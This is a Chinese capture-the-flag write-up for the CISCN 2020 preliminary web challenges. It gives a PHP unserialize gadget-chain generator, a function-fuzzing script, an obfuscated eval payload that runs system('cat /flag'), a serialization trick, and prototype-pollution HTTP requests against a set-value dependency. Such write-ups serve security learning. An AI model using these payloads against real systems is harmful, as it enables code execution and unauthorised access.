ciscn 2020 预选赛
babyunserialize
和wmctf2020的webwebpayload相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php namespace DB{ abstract class Cursor implements \IteratorAggregate {} }
namespace DB\SQL{ class Mapper extends \DB\Cursor{ protected $props=["quotekey"=>"phpinfo"], $adhoc=[-1=>["expr"=>""]], $db; function offsetExists($offset){} function offsetGet($offset){} function offsetSet($offset, $value){} function offsetUnset($offset){} function getIterator(){} function __construct($val){ $this->db = $val; } } } namespace CLI{ class Agent { protected $server=""; public $events; public function __construct(){ $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; $this->server=&$this;
} }; class WS{} } namespace { echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); }
|
easyphp
阅读代码我们发现:if(!pcntl_wifexited($status)){phpinfo();}
,及fork的子进程报错就会执行phpinfo,而phpinfo里面通常包含敏感信息,和一些对我们题目有帮助的信息。
fork子进程执行的代码是:
1 2
| if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
|
而这里调用了非常敏感的call_user_func_array,所以无论是想让子进程报错还是直接执行代码这里都是非常好的选择。因此我们先要写个fuzz脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php
$payloads=[ "ls", "index.php", "asdfasldfjaklsdfjl.php", "echo 123;" ]; $str=file_get_contents("fatalerr.log"); if(!$str){ $str="[]"; } $fatalerror=eval("return ".$str.";"); function show_result($func,$r,$v){ if($r==NULL){ } try{ echo "$func($v,false,true) return value:"; var_dump($r); echo "<br />"; }catch(Exception $e){} }
function brute_func($a){ global $payloads; global $fatalerror; foreach($a as $val){ if(is_array($val)){ brute_func($val); continue; } if(in_array($val,$fatalerror)){ continue; } array_push($fatalerror,$val); file_put_contents("fatalerr.log",var_export($fatalerror,TRUE)); foreach($payloads as $v){ $r=NULL; $r=call_user_func_array($val,[$v,false,true]); show_result($val,$r,$v); } array_pop($fatalerror); } }; $arr=get_defined_functions(); brute_func($arr); ?>
|
多次执行发现:
1 2 3
| stream_socket_server exec stream_socket_client
|
这三个函数会引起segment_fault 且 exec虽然会引起segment fault但是仍然执行了代码
但是这里只需要segment_fault,所以访问?a=stream_socket_server&b=
拿到flag
rceme
注意到有个eval只要绕过限制就可以执行命令了
很简单利用字符串拼接绕过
{if:+('base64_deco'.'d'.'e')('c3lzdGVt')('cat+/flag')}{end+if}
easytrick
队里的师傅做出来的,dbq,我太菜了
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class trick{ public $trick1; public $trick2; }
$t = new trick; $t->trick1 = "INF"; $t->trick2 = 1e1111; echo serialize($t);
|
littlegame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| λ npm audit
=== npm audit security report ===
# Run npm update set-value --depth 1 to resolve 1 vulnerability
High Prototype Pollution
Package set-value
Dependency of set-value
Path set-value
More info https://npmjs.com/advisories/1012
found 1 high severity vulnerability in 61 scanned packages run `npm audit fix` to fix 1 of them.
|
原型链污染,poc地址:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
- 先访问一次
/SpawnPoint
,拿个sessionid
- 然后访问
/Privilege
污染原型链(用constructor.prototype
或者__proto__
均可)
- 最后访问
/DeveloperControlPanel
拿flag
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /Privilege HTTP/1.1 Host: host Content-Type: application/x-www-form-urlencoded Cookie: session=yoursession
NewAttributeValue=abc&NewAttributeKey=__proto__.password4
POST /DeveloperControlPanel HTTP/1.1 Host: host Content-Type: application/x-www-form-urlencoded Cookie: session=yoursession
key=password4&password=abc
|